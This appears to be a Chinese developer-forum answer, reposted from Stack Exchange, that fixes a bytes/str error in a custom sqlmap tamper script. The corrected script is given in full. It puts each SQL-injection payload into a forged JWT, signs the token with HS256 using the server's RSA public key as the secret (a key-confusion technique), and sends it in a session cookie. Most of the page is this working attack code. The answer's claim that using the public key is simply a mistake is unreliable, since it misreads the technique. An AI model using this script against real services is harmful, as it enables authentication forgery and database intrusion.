You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

自定义sqlmap tamper脚本报错:bytes-like object is required, not 'str'

问题分析与解决

首先看你遇到的TypeError: a bytes-like object is required, not 'str',这是Python3中字符串和字节串不兼容导致的,你的tamper脚本里有几个关键的地方没处理好字节/字符串的转换,而且JWT的编码逻辑也有小问题,我给你拆解一下:

错误原因

  1. HMAC签名的参数类型错误:hmac.new()要求传入的密钥和待签名内容必须是字节串(bytes),但你直接传了字符串(str),这是触发错误的核心原因。
  2. Base64编码的返回值处理错误:Python3的base64.b64encode()返回的是bytes对象,你直接和字符串拼接会触发类型错误,必须先解码成字符串。
  3. JWT标准编码未遵循:JWT要求用URL安全的Base64编码(即替换+为-,/为_,并去掉末尾的=),你只处理了=,会导致生成的JWT可能无法被服务端解析。

修正后的Tamper脚本

#!/usr/bin/env python
import hmac
import hashlib
import base64
import json
import imp

enums = imp.load_source("lib.core.enums", "/usr/share/sqlmap/lib/core/enums.py")
__priority__ = enums.PRIORITY.NORMAL

def base64url_encode(data):
    # 实现JWT标准的URL安全Base64编码
    encoded = base64.b64encode(data)
    return encoded.decode('utf-8').replace('+', '-').replace('/', '_').rstrip('=')

def tamper(payload, **kwargs):
    if not payload:
        return payload
    
    header = {
        "alg": "HS256",
        "typ": "JWT"
    }
    # 把sqlmap的payload放到username字段里
    payload_dict = {
        "username": payload,
        "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
        "iat": "1583764126"
    }
    # 注意:HS256应该用对称密钥,你这里用公钥不太合理,建议换成服务端用的对称密钥
    key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"
    
    # 1. 编码header和payload:先转JSON字符串,再转bytes,再做URL安全Base64编码
    encoded_header = base64url_encode(json.dumps(header).encode('utf-8'))
    encoded_payload = base64url_encode(json.dumps(payload_dict).encode('utf-8'))
    
    # 2. 构造未签名的token,转成bytes用于签名
    unsigned_token = f"{encoded_header}.{encoded_payload}".encode('utf-8')
    
    # 3. 生成HMAC签名:key转成bytes,传入unsigned_token(bytes)
    signature = hmac.new(key.encode('utf-8'), unsigned_token, hashlib.sha256).digest()
    # 4. 编码签名:用URL安全Base64
    encoded_signature = base64url_encode(signature)
    
    # 5. 拼接最终的JWT
    token = f"{encoded_header}.{encoded_payload}.{encoded_signature}"
    
    return token

关键修改点说明

  • 新增了base64url_encode函数,严格遵循JWT的URL安全Base64编码规则,避免解析失败。
  • 所有传入base64.b64encode和hmac.new的数据都先转成bytes,处理完后再解码成str,解决类型不兼容问题。
  • 生成签名时用digest()而不是hexdigest(),因为JWT的签名是原始字节的Base64编码,而不是十六进制字符串(这也是你之前可能导致JWT无效的一个点)。
  • 提前判断payload为空的情况,避免空值处理错误。

额外提示

  • 注意你用HS256算法却传入了公钥,HS256是对称加密算法,应该用对称密钥(和服务端一致的密钥),如果服务端用RS256(非对称),那你需要用私钥签名,而不是公钥,这可能导致服务端验证签名失败返回500错误。
  • 测试时确保--cookie="session=*"里的*位置正确,sqlmap会把payload替换到*的位置,你的tamper脚本会把这个payload封装到JWT的username字段里。

内容的提问来源于stack exchange,提问作者peachykeen

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.06 20:44:09